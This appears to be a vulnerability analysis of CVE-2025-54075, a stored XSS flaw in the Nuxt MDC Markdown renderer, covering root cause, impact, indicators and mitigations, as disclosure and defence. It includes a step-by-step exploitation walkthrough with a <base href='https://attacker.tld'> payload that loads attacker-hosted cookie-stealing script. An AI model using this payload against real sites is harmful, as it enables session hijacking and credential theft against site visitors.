CVE-2025-54075: 
JavaScript vulnerability analysis and mitigation

CVE-2025-54075 is a stored cross-site scripting (XSS) / remote script-inclusion vulnerability in @nuxtjs/mdc (Nuxt MDC), a Markdown rendering tool for Vue/Nuxt applications. It affects all versions of @nuxtjs/mdc prior to 0.17.2 and allows a Markdown author to inject a <base href="https://attacker.tld"> element that rewrites how all subsequent relative URLs are resolved, enabling arbitrary JavaScript execution in the site's context. The vulnerability was published on July 18, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 8.3 (High) (Github Advisory, Red Hat CVE).

The root cause is improper neutralization of script-related HTML tags (CWE-79/CWE-80) in src/runtime/parser/utils/props.ts. The validateProp() function blocks on* event attributes and filters href/src via isAnchorLinkAllowed(), but applies no validation to the href attribute on <base> tags — every other attribute and tag passes through unchanged. As a result, an attacker who can author Markdown content can insert <base href="https://attacker.tld">, causing the browser to resolve all subsequent relative paths (e.g., /script.js, ../img.png) from the attacker-controlled domain. The fix in commit 3657a5b adds base to a dangerousTags list alongside script, converting both to inert <pre> elements during rendering (Github Advisory, Patch Commit).

Successful exploitation enables stored XSS via remote script inclusion, allowing an attacker to execute arbitrary JavaScript under the vulnerable site's origin for every visitor who loads the affected page. Consequences include full session takeover, credential and cookie theft, defacement, phishing, CSRF attacks, and any other action achievable through injected scripts. Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown — including blogs, CMSs, documentation sites, and comment systems — is at risk (Github Advisory).

A proof-of-concept is publicly documented in the GitHub Security Advisory, demonstrating that placing <base href="https://vozec.fr"> in any Markdown rendered by Nuxt MDC causes the browser to load and execute an attacker-hosted JavaScript file. No privileges are required and no user interaction beyond visiting the page is needed. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.33% (56th percentile) (Github Advisory).

1. Identify a target: Find a Nuxt application using @nuxtjs/mdc versions prior to 0.17.2 that renders user-supplied or author-controlled Markdown content (e.g., a blog, CMS, or documentation site).
2. Craft the malicious payload: Prepare a Markdown snippet containing <base href="https://attacker.tld"> followed by any relative resource reference (e.g., a relative <script src="/xss.js"></script> or an image tag).
3. Inject the payload: Submit the crafted Markdown through any available input mechanism — a blog post editor, CMS content field, comment box, or documentation page — that is subsequently rendered by @nuxtjs/mdc.
4. Host the malicious script: Serve a JavaScript payload (e.g., cookie-stealing or session-hijacking code) at the attacker-controlled domain referenced in the <base> tag (e.g., https://attacker.tld/xss.js).
5. Trigger execution: When any visitor loads the page containing the injected Markdown, the browser resolves relative URLs against the attacker's domain, fetches and executes the hosted script under the vulnerable site's origin, achieving arbitrary JavaScript execution (Github Advisory).

• Network: Outbound HTTP/HTTPS requests from end-user browsers to unexpected external domains for resources like .js, .css, or image files that should be served locally; presence of a <base> tag in rendered HTML pointing to an external origin.
• Logs: Web server or CDN access logs showing requests for relative paths (e.g., /xss.js, /script.js) being redirected or resolved to an external domain; unusual referrer headers in external server logs matching the vulnerable site's URL.
• File System / Content: Markdown content in the CMS database or file system containing <base href="http or <base href="https pointing to external domains.
• Browser / Client-Side: Browser developer tools showing a <base> element in the DOM with an external href; unexpected script execution or network requests to unknown domains when loading content pages (Github Advisory).

Upgrade @nuxtjs/mdc to version 0.17.2 or later, which adds base to the list of dangerous tags and renders it as an inert <pre> element instead of a live HTML tag (Github Advisory, Patch Commit). As an interim workaround for sites that cannot immediately upgrade, disable raw HTML rendering in Markdown or apply an external sanitizer such as DOMPurify with FORBID_TAGS: ['base']. Additionally, implement a strict Content Security Policy (CSP) that restricts script-src, style-src, and img-src to trusted origins, which would prevent attacker-hosted resources from loading even if the <base> tag is injected.

The vulnerability was reported by security researcher Vozec and disclosed via GitHub Security Advisory on July 18, 2025. The advisory notes this is the fourth XSS bypass found in Nuxt MDC's HTML filter (labeled "N°4"), suggesting a pattern of recurring sanitization gaps in the library. No major media coverage or notable public commentary beyond the advisory itself has been identified at this time (Github Advisory).